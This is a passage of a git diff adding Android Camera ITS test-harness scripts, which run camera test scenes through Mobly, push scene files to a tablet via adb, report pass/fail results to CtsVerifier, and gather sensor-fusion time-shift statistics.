+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import json
+import logging
+import os
+import os.path
+import subprocess
+import sys
+import tempfile
+import time
+
+import yaml
+
+
+YAML_FILE_DIR = os.environ['CAMERA_ITS_TOP']
+CONFIG_FILE = os.path.join(YAML_FILE_DIR, 'config.yml')
+TEST_BED_TABLET_SCENES = 'TEST_BED_TABLET_SCENES'
+TEST_BED_SENSOR_FUSION = 'TEST_BED_SENSOR_FUSION'
+PROC_TIMEOUT_CODE = -101  # terminated process return -process_id
+PROC_TIMEOUT_TIME = 900  # timeout in seconds for a process (15 minutes)
+LOAD_SCENE_DELAY = 1  # seconds
+ACTIVITY_START_WAIT = 1.5  # seconds
+
+
+RESULT_PASS = 'PASS'
+RESULT_FAIL = 'FAIL'
+RESULT_NOT_EXECUTED = 'NOT_EXECUTED'
+RESULT_KEY = 'result'
+SUMMARY_KEY = 'summary'
+RESULT_VALUES = {RESULT_PASS, RESULT_FAIL, RESULT_NOT_EXECUTED}
+ITS_TEST_ACTIVITY = 'com.android.cts.verifier/.camera.its.ItsTestActivity'
+ACTION_ITS_RESULT = 'com.android.cts.verifier.camera.its.ACTION_ITS_RESULT'
+EXTRA_VERSION = 'camera.its.extra.VERSION'
+CURRENT_ITS_VERSION = '1.0'  # version number to sync with CtsVerifier
+EXTRA_CAMERA_ID = 'camera.its.extra.CAMERA_ID'
+EXTRA_RESULTS = 'camera.its.extra.RESULTS'
+TIME_KEY_START = 'start'
+TIME_KEY_END = 'end'
+# All possible scenes
+# Notes on scene names:
+#   scene*_1/2/... are same scene split to load balance run times for scenes
+#   scene*_a/b/... are similar scenes that share one or more tests
+_ALL_SCENES = [
+    'scene0', 'scene1_1', 'scene1_2', 'scene2_a', 'scene2_b', 'scene2_c',
+    'scene2_d', 'scene2_e', 'scene3', 'scene4', 'scene5', 'scene6',
+    'sensor_fusion', 'scene_change'
+]
+
+# Scenes that can be automated through tablet display
+_AUTO_SCENES = [
+    'scene0', 'scene1_1', 'scene1_2', 'scene2_a', 'scene2_b', 'scene2_c',
+    'scene2_d', 'scene2_e', 'scene3', 'scene4', 'scene6', 'scene_change'
+]
+
+# Scenes that are logically grouped and can be called as group
+_GROUPED_SCENES = {
+        'scene1': ['scene1_1', 'scene1_2'],
+        'scene2': ['scene2_a', 'scene2_b', 'scene2_c', 'scene2_d', 'scene2_e']
+}
+
+# Tests run in more than 1 scene.
+# List is created of type ['scene_source', 'test_to_be_repeated']
+# for the test run in current scene.
+_REPEATED_TESTS = {
+    'scene0': [],
+    'scene1_1': [],
+    'scene1_2': [],
+    'scene2_a': [],
+    'scene2_b': [['scene2_a', 'test_num_faces']],
+    'scene2_c': [['scene2_a', 'test_num_faces']],
+    'scene2_d': [['scene2_a', 'test_num_faces']],
+    'scene2_e': [['scene2_a', 'test_num_faces']],
+    'scene3': [],
+    'scene4': [],
+    'scene5': [],
+    'scene6': [],
+    'sensor_fusion': [],
+    'scene_change': []
+}
+
+_DST_SCENE_DIR = '/mnt/sdcard/Download/'
+MOBLY_TEST_SUMMARY_TXT_FILE = 'test_mobly_summary.txt'
+
+
+def run(cmd):
+  """Replaces os.system call, while hiding stdout+stderr messages."""
+  with open(os.devnull, 'wb') as devnull:
+    subprocess.check_call(cmd.split(), stdout=devnull, stderr=subprocess.STDOUT)
+
+
+def report_result(device_id, camera_id, results):
+  """Sends a pass/fail result to the device, via an intent.
+
+  Args:
+   device_id: The ID string of the device to report the results to.
+   camera_id: The ID string of the camera for which to report pass/fail.
+   results: a dictionary contains all ITS scenes as key and result/summary of
+            current ITS run. See test_report_result unit test for an example.
+  """
+  adb = f'adb -s {device_id}'
+
+  # Start ItsTestActivity to receive test results
+  cmd = f'{adb} shell am start {ITS_TEST_ACTIVITY} --activity-brought-to-front'
+  run(cmd)
+  time.sleep(ACTIVITY_START_WAIT)
+
+  # Validate/process results argument
+  for scene in results:
+    if RESULT_KEY not in results[scene]:
+      raise ValueError(f'ITS result not found for {scene}')
+    if results[scene][RESULT_KEY] not in RESULT_VALUES:
+      raise ValueError(f'Unknown ITS result for {scene}: {results[RESULT_KEY]}')
+    if SUMMARY_KEY in results[scene]:
+      device_summary_path = f'/sdcard/its_camera{camera_id}_{scene}.txt'
+      run('%s push %s %s' %
+          (adb, results[scene][SUMMARY_KEY], device_summary_path))
+      results[scene][SUMMARY_KEY] = device_summary_path
+
+  json_results = json.dumps(results)
+  cmd = (f"{adb} shell am broadcast -a {ACTION_ITS_RESULT} --es {EXTRA_VERSION}"
+         f" {CURRENT_ITS_VERSION} --es {EXTRA_CAMERA_ID} {camera_id} --es "
+         f"{EXTRA_RESULTS} \'{json_results}\'")
+  if len(cmd) > 4095:
+    logging.info('ITS command string might be too long! len:%s', len(cmd))
+  run(cmd)
+
+
+def load_scenes_on_tablet(scene, tablet_id):
+  """Copies scenes onto the tablet before running the tests.
+
+  Args:
+    scene: Name of the scene to copy image files.
+    tablet_id: adb id of tablet
+  """
+  logging.info('Copying files to tablet: %s', tablet_id)
+  scene_dir = os.listdir(
+      os.path.join(os.environ['CAMERA_ITS_TOP'], 'tests', scene))
+  for file_name in scene_dir:
+    if file_name.endswith('.pdf'):
+      src_scene_file = os.path.join(os.environ['CAMERA_ITS_TOP'], 'tests',
+                                    scene, file_name)
+      cmd = f'adb -s {tablet_id} push {src_scene_file} {_DST_SCENE_DIR}'
+      subprocess.Popen(cmd.split())
+  time.sleep(LOAD_SCENE_DELAY)
+  logging.info('Finished copying files to tablet.')
+
+
+def get_config_file_contents():
+  """Read the config file contents from a YML file.
+
+  Args:
+    None
+
+  Returns:
+    config_file_contents: a dict read from config.yml
+  """
+  with open(CONFIG_FILE) as file:
+    config_file_contents = yaml.load(file, yaml.FullLoader)
+  return config_file_contents
+
+
+def get_test_params(config_file_contents):
+  """Reads the config file parameters.
+
+  Args:
+    config_file_contents: dict read from config.yml file
+
+  Returns:
+    dict of test parameters
+  """
+  test_params = None
+  for _, j in config_file_contents.items():
+    for datadict in j:
+      test_params = datadict.get('TestParams')
+  return test_params
+
+
+def get_device_serial_number(device, config_file_contents):
+  """Returns the serial number of the device with label from the config file.
+
+  The config file contains TestBeds dictionary which contains Controllers and
+  Android Device dicts.The two devices used by the test per box are listed
+  here labels dut and tablet. Parse through the nested TestBeds dict to get
+  the Android device details.
+
+  Args:
+    device: String device label as specified in config file.dut/tablet
+    config_file_contents: dict read from config.yml file
+  """
+
+  for _, j in config_file_contents.items():
+    for datadict in j:
+      android_device_contents = datadict.get('Controllers')
+      for device_dict in android_device_contents.get('AndroidDevice'):
+        for _, label in device_dict.items():
+          if label == 'tablet':
+            tablet_device_id = device_dict.get('serial')
+          if label == 'dut':
+            dut_device_id = device_dict.get('serial')
+  if device == 'tablet':
+    return tablet_device_id
+  else:
+    return dut_device_id
+
+
+def expand_scene(scene, scenes):
+  """Expand a grouped scene and append its sub_scenes to scenes.
+
+  Args:
+    scene:      scene in GROUPED_SCENES dict
+    scenes:     list of scenes to append to
+
+  Returns:
+     updated scenes
+  """
+  logging.info('Expanding %s  to %s.', scene, str(_GROUPED_SCENES[scene]))
+  for sub_scene in _GROUPED_SCENES[scene]:
+    scenes.append(sub_scene)
+
+
+def get_updated_yml_file(yml_file_contents):
+  """Create a new yml file and write the testbed contents in it.
+
+  This testbed file is per box and contains all the parameters and
+  device id used by the mobly tests.
+
+  Args:
+   yml_file_contents: Data to write in yml file.
+
+  Returns:
+    Updated yml file contents.
+  """
+  os.chmod(YAML_FILE_DIR, 0o755)
+  _, new_yaml_file = tempfile.mkstemp(
+      suffix='.yml', prefix='config_', dir=YAML_FILE_DIR)
+  with open(new_yaml_file, 'w') as f:
+    yaml.dump(yml_file_contents, stream=f, default_flow_style=False)
+  new_yaml_file_name = os.path.basename(new_yaml_file)
+  return new_yaml_file_name
+
+
+def main():
+  """Run all the Camera ITS automated tests.
+
+    Script should be run from the top-level CameraITS directory.
+
+    Command line arguments:
+        camera:  the camera(s) to be tested. Use comma to separate multiple
+                 camera Ids. Ex: "camera=0,1" or "camera=1"
+        scenes:  the test scene(s) to be executed. Use comma to separate
+                 multiple scenes. Ex: "scenes=scene0,scene1_1" or
+                 "scenes=0,1_1,sensor_fusion" (sceneX can be abbreviated by X
+                 where X is scene name minus 'scene')
+  """
+  logging.basicConfig(level=logging.INFO)
+  # Make output directories to hold the generated files.
+  topdir = tempfile.mkdtemp(prefix='CameraITS_')
+  subprocess.call(['chmod', 'g+rx', topdir])
+  logging.info('Saving output files to: %s', topdir)
+
+  scenes = []
+  camera_id_combos = []
+  # Override camera & scenes with cmd line values if available
+  for s in list(sys.argv[1:]):
+    if 'scenes=' in s:
+      scenes = s.split('=')[1].split(',')
+    elif 'camera=' in s:
+      camera_id_combos = s.split('=')[1].split(',')
+
+  # Read config file and extract relevant TestBed
+  config_file_contents = get_config_file_contents()
+  for i in config_file_contents['TestBeds']:
+    if scenes == ['sensor_fusion']:
+      if i['Name'] != TEST_BED_SENSOR_FUSION:
+        config_file_contents['TestBeds'].remove(i)
+    else:
+      if i['Name'] != TEST_BED_TABLET_SCENES:
+        config_file_contents['TestBeds'].remove(i)
+
+ # Get test parameters from config file
+  test_params_content = get_test_params(config_file_contents)
+  if not camera_id_combos:
+    camera_id_combos = str(test_params_content['camera']).split(',')
+  if not scenes:
+    scenes = test_params_content['scene'].split(',')
+
+  device_id = get_device_serial_number('dut', config_file_contents)
+
+  if config_file_contents['TestBeds'][0]['Name'] == TEST_BED_TABLET_SCENES:
+    tablet_id = get_device_serial_number('tablet', config_file_contents)
+  else:
+    tablet_id = None
+  auto_scene_switch = tablet_id is not None
+
+  # Run through all scenes if user does not supply one and config file doesn't
+  # have specific scene name listed.
+  possible_scenes = _AUTO_SCENES if auto_scene_switch else _ALL_SCENES
+  if not scenes or '<scene-name>' in scenes:
+    scenes = possible_scenes
+  else:
+    # Validate user input scene names
+    valid_scenes = True
+    temp_scenes = []
+    for s in scenes:
+      if s in possible_scenes:
+        temp_scenes.append(s)
+      elif s in _GROUPED_SCENES:
+        expand_scene(s, temp_scenes)
+      else:
+        scene_str = 'scene' + s
+        if scene_str in possible_scenes:
+          temp_scenes.append(scene_str)
+        elif scene_str in _GROUPED_SCENES:
+          expand_scene(scene_str, temp_scenes)
+        else:
+          valid_scenes = False
+          raise ValueError(f'Unknown scene specified: {s}')
+
+    # assign temp_scenes back to scenes and remove duplicates
+    scenes = sorted(set(temp_scenes), key=temp_scenes.index)
+
+  logging.info('Running ITS on device: %s, camera: %s, scene: %s',
+               device_id, camera_id_combos, scenes)
+
+  for camera_id in camera_id_combos:
+    test_params_content['camera'] = camera_id
+    results = {}
+    for s in _ALL_SCENES:
+      results[s] = {RESULT_KEY: RESULT_NOT_EXECUTED}
+    # A subdir in topdir will be created for each camera_id. All scene test
+    # output logs for each camera id will be stored in this subdir.
+    os.mkdir(os.path.join(topdir, 'cam_id_' + camera_id))
+    # This output log path is a mobly param : LogPath
+    mobly_output_logs_path = os.path.join(topdir, 'cam_id_' + camera_id)
+    tot_pass = 0
+    for s in scenes:
+      test_params_content['scene'] = s
+      # unit is millisecond for execution time record in CtsVerifier
+      scene_start_time = int(round(time.time() * 1000))
+      scene_test_summary = f'Cam{camera_id} {s}' + '\n'
+      mobly_scene_output_logs_path = os.path.join(mobly_output_logs_path, s)
+
+      # Copy scene images onto the tablet.
+      if s not in ['scene0', 'sensor_fusion']:
+        load_scenes_on_tablet(s, tablet_id)
+      scene_test_list = []
+      config_file_contents['TestBeds'][0]['TestParams'] = test_params_content
+      # Add the MoblyParams to config.yml file with the path to store camera_id
+      # test results. This is a separate dict other than TestBeds.
+      mobly_params_dict = {
+          'MoblyParams': {
+              'LogPath': mobly_scene_output_logs_path
+          }
+      }
+      config_file_contents.update(mobly_params_dict)
+      logging.debug('Final config file contents: %s', config_file_contents)
+      new_yml_file_name = get_updated_yml_file(config_file_contents)
+      logging.info('Using %s as temporary config yml file', new_yml_file_name)
+      scene_dir = os.listdir(
+          os.path.join(os.environ['CAMERA_ITS_TOP'], 'tests', s))
+      for file_name in scene_dir:
+        if file_name.endswith('.py') and 'test' in file_name:
+          scene_test_list.append(file_name)
+
+      if _REPEATED_TESTS[s]:
+        for t in _REPEATED_TESTS[s]:
+          scene_test_list.append((os.path.join('tests', t[0], t[1] + '.py')))
+      scene_test_list.sort()
+
+      # Run tests for scene
+      logging.info('Running tests for %s with camera %s', s, camera_id)
+      num_pass = 0
+      num_skip = 0
+      num_not_mandated_fail = 0
+      num_fail = 0
+      for test in scene_test_list:
+        # Handle repeated test
+        if 'tests/' in test:
+          cmd = [
+              'python3',
+              os.path.join(os.environ['CAMERA_ITS_TOP'], test), '-c',
+              '%s' % new_yml_file_name
+          ]
+        else:
+          cmd = [
+              'python3',
+              os.path.join(os.environ['CAMERA_ITS_TOP'], 'tests', s, test),
+              '-c',
+              '%s' % new_yml_file_name
+          ]
+        # pylint: disable=subprocess-run-check
+        with open(MOBLY_TEST_SUMMARY_TXT_FILE, 'w') as fp:
+          output = subprocess.run(cmd, stdout=fp)
+        # pylint: enable=subprocess-run-check
+
+        # Parse mobly info output logs to determine skip and not_yet_mandated
+        # tests.
+        with open(MOBLY_TEST_SUMMARY_TXT_FILE, 'r') as file:
+          test_code = output.returncode
+          test_failed = False
+          test_skipped = False
+          test_not_yet_mandated = False
+          line = file.read()
+          if 'Test skipped' in line:
+            return_string = 'SKIP '
+            num_skip += 1
+            test_skipped = True
+
+          if 'Not yet mandated test' in line:
+            return_string = 'FAIL*'
+            num_not_mandated_fail += 1
+            test_not_yet_mandated = True
+
+          if test_code == 0 and not test_skipped:
+            return_string = 'PASS '
+            num_pass += 1
+
+          if test_code == 1 and not test_not_yet_mandated:
+            return_string = 'FAIL '
+            num_fail += 1
+            test_failed = True
+
+          os.remove(MOBLY_TEST_SUMMARY_TXT_FILE)
+          logging.info('%s %s/%s', return_string, s, test)
+          msg_short = '%s %s' % (return_string, test)
+          scene_test_summary += msg_short + '\n'
+
+      # unit is millisecond for execution time record in CtsVerifier
+      scene_end_time = int(round(time.time() * 1000))
+      skip_string = ''
+      tot_tests = len(scene_test_list)
+      if num_skip > 0:
+        skipstr = f",{num_skip} test{'s' if num_skip > 1 else ''} skipped"
+      test_result = '%d / %d tests passed (%.1f%%)%s' % (
+          num_pass + num_not_mandated_fail, len(scene_test_list) - num_skip,
+          100.0 * float(num_pass + num_not_mandated_fail) /
+          (len(scene_test_list) - num_skip)
+          if len(scene_test_list) != num_skip else 100.0, skip_string)
+      logging.info(test_result)
+      if num_not_mandated_fail > 0:
+        logging.info('(*) %s not_yet_mandated tests failed',
+                     num_not_mandated_fail)
+
+      tot_pass += num_pass
+      logging.info('scene tests: %s, Total tests passed: %s', tot_tests,
+                   tot_pass)
+      logging.info('%s compatibility score: %.f/100\n',
+                   s, 100 * num_pass / tot_tests)
+
+      scene_test_summary_path = os.path.join(mobly_scene_output_logs_path,
+                                             'scene_test_summary.txt')
+      with open(scene_test_summary_path, 'w') as f:
+        f.write(scene_test_summary)
+
+      results[s][RESULT_KEY] = (RESULT_PASS if num_fail == 0 else RESULT_FAIL)
+      results[s][SUMMARY_KEY] = scene_test_summary_path
+      results[s][TIME_KEY_START] = scene_start_time
+      results[s][TIME_KEY_END] = scene_end_time
+
+      # Delete temporary yml file after scene run.
+      new_yaml_file_path = os.path.join(YAML_FILE_DIR, new_yml_file_name)
+      os.remove(new_yaml_file_path)
+
+    logging.info('Reporting ITS result to CtsVerifier')
+    report_result(device_id, camera_id, results)
+  logging.info('Test execution completed.')
+
+if __name__ == '__main__':
+  main()
diff --git a/apps/CameraITS2.0/tools/run_sensor_fusion.py b/apps/CameraITS2.0/tools/run_sensor_fusion.py
new file mode 100644
index 0000000..67c499b
--- /dev/null
+++ b/apps/CameraITS2.0/tools/run_sensor_fusion.py
@@ -0,0 +1,197 @@
+# Copyright 2016 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+import logging
+import os
+import os.path
+import shutil
+import subprocess
+import sys
+import tempfile
+
+import numpy as np
+
+import run_all_tests  # from same tools directory as run_sensor_fusion.py
+
+_NUM_RUNS = 1
+_TEST_BED_SENSOR_FUSION = 'TEST_BED_SENSOR_FUSION'
+_TIME_SHIFT_MATCH = 'Best correlation of '
+
+
+def find_time_shift(out_file_path):
+  """Search through a test run's test_log.DEBUG for the best time shift.
+
+  Args:
+    out_file_path: File path for stdout logs to search through
+
+  Returns:
+    Float num of best time shift, if one is found. Otherwise, None.
+  """
+  line = find_matching_line(out_file_path, _TIME_SHIFT_MATCH)
+  if line is None:
+    return None
+  else:
+    words = line.split(' ')
+    time_shift = float(words[-1][:-3])  # strip off 'ms'
+    fit_corr = float(words[-5])
+    return {'time_shift': time_shift, 'corr': fit_corr}
+
+
+def find_matching_line(file_path, match_string):
+  """Search each line in the file at 'file_path' for match_string.
+
+  Args:
+      file_path: File path for file being searched
+      match_string: Sting used to match against lines
+
+  Returns:
+      The first matching line. If none exists, returns None.
+  """
+  with open(file_path) as f:
+    for line in f:
+      if match_string in line:
+        return line
+  return None
+
+
+def main():
+  """Run the sensor_fusion test for stastical purposes.
+
+    Script should be run from the top-level CameraITS directory.
+    All parameters expect 'num_runs' are defined in config.yml.
+    num_runs is defined at run time with 'num_runs=<int>'
+    'camera_id' can be over-written at command line to allow different
+    camera_ids facing the same direction to be tested.
+
+    ie. python tools/run_all_tests.py num_runs=10  # n=10 w/ config.yml cam
+        python tools/run_all_tests.py camera=0 num_runs=10  # n=10 w/ cam[0]
+        python tools/run_all_tests.py camera=0.4 num_runs=10 # n=10 w/ cam[0.4]
+
+    Command line arguments:
+        camera_id: camera_id or list of camera_ids.
+        num_runs: integer number of runs to get statistical values
+
+    All other config values are stored in config.yml file.
+  """
+  logging.basicConfig(level=logging.INFO)
+  # Make output directories to hold the generated files.
+  topdir = tempfile.mkdtemp(prefix='CameraITS_')
+  subprocess.call(['chmod', 'g+rx', topdir])
+
+  scenes = ['sensor_fusion']
+  camera_id_combos = []
+
+  # Override camera with cmd line values if available
+  num_runs = _NUM_RUNS
+  get_argv_vals = lambda x: x.split('=')[1]
+  for s in list(sys.argv[1:]):
+    if 'camera=' in s:
+      camera_id_combos = str(get_argv_vals(s)).split(',')
+    elif 'num_runs=' in s:
+      num_runs = int(get_argv_vals(s))
+
+  # Read config file and extract relevant TestBed
+  config_file_contents = run_all_tests.get_config_file_contents()
+  for i in config_file_contents['TestBeds']:
+    if i['Name'] != _TEST_BED_SENSOR_FUSION:
+      config_file_contents['TestBeds'].remove(i)
+
+  # Get test parameters from config file
+  test_params_content = run_all_tests.get_test_params(config_file_contents)
+  if not camera_id_combos:
+    camera_id_combos = test_params_content['camera'].split(',')
+  debug = test_params_content['debug_mode']
+  fps = test_params_content['fps']
+  img_size = test_params_content['img_size']
+
+  # Get dut id
+  device_id = run_all_tests.get_device_serial_number(
+      'dut', config_file_contents)
+
+  # Log run info
+  logging.info('Running sensor_fusion on device: %s, camera: %s',
+               device_id, camera_id_combos)
+  logging.info('Saving output files to: %s', topdir)
+
+  for camera_id in camera_id_combos:
+    time_shifts = []
+    # A subdir in topdir will be created for each camera_id.
+    test_params_content['camera'] = camera_id
+    test_params_content['scene'] = 'sensor_fusion'
+    config_file_contents['TestBeds'][0]['TestParams'] = test_params_content
+    os.mkdir(os.path.join(topdir, camera_id))
+
+    # Add the MoblyParams to config.yml file store camera_id test results.
+    mobly_output_logs_path = os.path.join(topdir, camera_id)
+    mobly_scene_output_logs_path = os.path.join(
+        mobly_output_logs_path, 'sensor_fusion')
+    mobly_params_dict = {
+        'MoblyParams': {
+            'LogPath': mobly_scene_output_logs_path
+        }
+    }
+    config_file_contents.update(mobly_params_dict)
+    logging.debug('Config file contents: %s', config_file_contents)
+    tmp_yml_file_name = run_all_tests.get_updated_yml_file(config_file_contents)
+    logging.info('Using %s as temporary config yml file', tmp_yml_file_name)
+
+    # Run tests
+    logging.info('%d runs for test_sensor_fusion with camera %s',
+                 num_runs, camera_id)
+    logging.info('FPS: %d, img size: %s', fps, img_size)
+    for _ in range(num_runs):
+      cmd = ['python',
+             os.path.join(os.environ['CAMERA_ITS_TOP'], 'tests',
+                          'sensor_fusion', 'test_sensor_fusion.py'),
+             '-c',
+             f'{tmp_yml_file_name}'
+             ]
+      # pylint: disable=subprocess-run-check
+      with open(run_all_tests.MOBLY_TEST_SUMMARY_TXT_FILE, 'w') as fp:
+        output = subprocess.run(cmd, stdout=fp)
+      # pylint: enable=subprocess-run-check
+
+      with open(run_all_tests.MOBLY_TEST_SUMMARY_TXT_FILE, 'r') as _:
+        if output.returncode == 0:
+          return_string = 'PASS'
+        else:
+          return_string = 'FAIL'
+
+        os.remove(run_all_tests.MOBLY_TEST_SUMMARY_TXT_FILE)
+        file_name = os.path.join(
+            mobly_scene_output_logs_path, _TEST_BED_SENSOR_FUSION, 'latest',
+            'test_log.DEBUG')
+        time_shift = find_time_shift(file_name)
+        logging.info('%s time_shift: %.4f ms, corr: %.6f', return_string,
+                     time_shift['time_shift'], time_shift['corr'])
+        time_shifts.append(time_shift)
+
+    # Summarize results with stats
+    times = [t['time_shift'] for t in time_shifts]
+    logging.info('time_shift mean: %.4f, sigma: %.4f',
+                 np.mean(times), np.std(times))
+
+    # Delete temporary yml file after run.
+    tmp_yml_file = os.path.join(run_all_tests.YAML_FILE_DIR, tmp_yml_file_name)
+    os.remove(tmp_yml_file)
+
+  # Delete temporary image files after run.
+  if debug == 'False':
+    logging.info('Removing tmp dir %s to save space.', topdir)
+    shutil.rmtree(topdir)
+
+  logging.info('Test completed.')
+if __name__ == '__main__':
+  main()
+
diff --git a/apps/CameraITS2.0/utils/__init__.py b/apps/CameraITS2.0/utils/__init__.py
new file mode 100644
index 0000000..317c4e6
--- /dev/null
+++ b/apps/CameraITS2.0/utils/__init__.py
@@ -0,0 +1,13 @@
+# Copyright 2013 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
diff --git a/apps/CameraITS2.0/utils/camera_properties_utils.py b/apps/CameraITS2.0/utils/camera_properties_utils.py
new file mode 100644
index 0000000..6b5e74d
--- /dev/null
+++ b/apps/CameraITS2.0/utils/camera_properties_utils.py
@@ -0,0 +1,811 @@
+# Copyright 2014 The Android Open Source Project
+#
+# Licensed under the Apache License, Version 2.0 (the "License");
+# you may not use this file except in compliance with the License.
+# You may obtain a copy of the License at
+#
+#      http://www.apache.org/licenses/LICENSE-2.0
+#
+# Unless required by applicable law or agreed to in writing, software
+# distributed under the License is distributed on an "AS IS" BASIS,
+# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+# See the License for the specific language governing permissions and
+# limitations under the License.
+
+
+import logging
+import unittest
+from mobly import asserts
+import numpy as np
+import capture_request_utils
+
+LENS_FACING_FRONT = 0
+LENS_FACING_BACK = 1
+LENS_FACING_EXTERNAL = 2
+MULTI_CAMERA_SYNC_CALIBRATED = 1
+NUM_DISTORTION_PARAMS = 5  # number of terms in lens.distortion
+NUM_INTRINSIC_CAL_PARAMS = 5  # number of terms in intrinsic calibration
+NUM_POSE_ROTATION_PARAMS = 4  # number of terms in poseRotation
+NUM_POSE_TRANSLATION_PARAMS = 3  # number of terms in poseTranslation
+SKIP_RET_MSG = 'Test skipped'
+SOLID_COLOR_TEST_PATTERN = 1
+
+
+def legacy(props):
+  """Returns whether a device is a LEGACY capability camera2 device.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device is a LEGACY camera.
+  """
+  return props.get('android.info.supportedHardwareLevel') == 2
+
+
+def limited(props):
+  """Returns whether a device is a LIMITED capability camera2 device.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+     Boolean. True if device is a LIMITED camera.
+  """
+  return props.get('android.info.supportedHardwareLevel') == 0
+
+
+def full_or_better(props):
+  """Returns whether a device is a FULL or better camera2 device.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+     Boolean. True if device is FULL or LEVEL3 camera.
+  """
+  return (props.get('android.info.supportedHardwareLevel') >= 1 and
+          props.get('android.info.supportedHardwareLevel') != 2)
+
+
+def level3(props):
+  """Returns whether a device is a LEVEL3 capability camera2 device.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device is LEVEL3 camera.
+  """
+  return props.get('android.info.supportedHardwareLevel') == 3
+
+
+def manual_sensor(props):
+  """Returns whether a device supports MANUAL_SENSOR capabilities.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if devices supports MANUAL_SENSOR capabilities.
+  """
+  return 1 in props.get('android.request.availableCapabilities', [])
+
+
+def manual_post_proc(props):
+  """Returns whether a device supports MANUAL_POST_PROCESSING capabilities.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports MANUAL_POST_PROCESSING capabilities.
+  """
+  return 2 in props.get('android.request.availableCapabilities', [])
+
+
+def raw(props):
+  """Returns whether a device supports RAW capabilities.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports RAW capabilities.
+  """
+  return 3 in props.get('android.request.availableCapabilities', [])
+
+
+def sensor_fusion(props):
+  """Checks the camera and motion sensor timestamps.
+
+  Returns whether the camera and motion sensor timestamps for the device
+  are in the same time domain and can be compared directly.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+     Boolean. True if camera and motion sensor timestamps in same time domain.
+  """
+  return props.get('android.sensor.info.timestampSource') == 1
+
+
+def logical_multi_camera(props):
+  """Returns whether a device is a logical multi-camera.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+     Boolean. True if the device is a logical multi-camera.
+  """
+  return 11 in props.get('android.request.availableCapabilities', [])
+
+
+def logical_multi_camera_physical_ids(props):
+  """Returns a logical multi-camera's underlying physical cameras.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    list of physical cameras backing the logical multi-camera.
+  """
+  physical_ids_list = []
+  if logical_multi_camera(props):
+    physical_ids_list = props['camera.characteristics.physicalCamIds']
+  return physical_ids_list
+
+
+def skip_unless(cond):
+  """Skips the test if the condition is false.
+
+  If a test is skipped, then it is exited and returns the special code
+  of 101 to the calling shell, which can be used by an external test
+  harness to differentiate a skip from a pass or fail.
+
+  Args:
+    cond: Boolean, which must be true for the test to not skip.
+
+  Returns:
+     Nothing.
+  """
+  if not cond:
+    asserts.skip(SKIP_RET_MSG)
+
+
+def backward_compatible(props):
+  """Returns whether a device supports BACKWARD_COMPATIBLE.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if the devices supports BACKWARD_COMPATIBLE.
+  """
+  return 0 in props.get('android.request.availableCapabilities', [])
+
+
+def lens_calibrated(props):
+  """Returns whether lens position is calibrated or not.
+
+  android.lens.info.focusDistanceCalibration has 3 modes.
+  0: Uncalibrated
+  1: Approximate
+  2: Calibrated
+
+  Args:
+    props: Camera properties objects.
+
+  Returns:
+    Boolean. True if lens is CALIBRATED.
+  """
+  return 'android.lens.info.focusDistanceCalibration' in props and props[
+      'android.lens.info.focusDistanceCalibration'] == 2
+
+
+def lens_approx_calibrated(props):
+  """Returns whether lens position is calibrated or not.
+
+  android.lens.info.focusDistanceCalibration has 3 modes.
+  0: Uncalibrated
+  1: Approximate
+  2: Calibrated
+
+  Args:
+   props: Camera properties objects.
+
+  Returns:
+    Boolean. True if lens is APPROXIMATE or CALIBRATED.
+  """
+  return props.get('android.lens.info.focusDistanceCalibration') in [1, 2]
+
+
+def raw10(props):
+  """Returns whether a device supports RAW10 capabilities.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports RAW10 capabilities.
+  """
+  if capture_request_utils.get_available_output_sizes('raw10', props):
+    return True
+  return False
+
+
+def raw12(props):
+  """Returns whether a device supports RAW12 capabilities.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports RAW12 capabilities.
+  """
+  if capture_request_utils.get_available_output_sizes('raw12', props):
+    return True
+  return False
+
+
+def raw16(props):
+  """Returns whether a device supports RAW16 output.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports RAW16 capabilities.
+  """
+  if capture_request_utils.get_available_output_sizes('raw', props):
+    return True
+  return False
+
+
+def raw_output(props):
+  """Returns whether a device supports any of the RAW output formats.
+
+  Args:
+    props: Camera properties object.
+
+  Returns:
+    Boolean. True if device supports any of the RAW output formats
+  """
+  return raw16(props) or raw10(props) or raw12(props)
+
+
+def per_frame_control(props):
+  """Returns whether a device supports per frame control.
+
+  Args:
+    props: Camera properties object.
+
+  Returns: Boolean. True if devices supports per frame control.
+  """
+  return 'android.sync.maxLatency' in props and props[
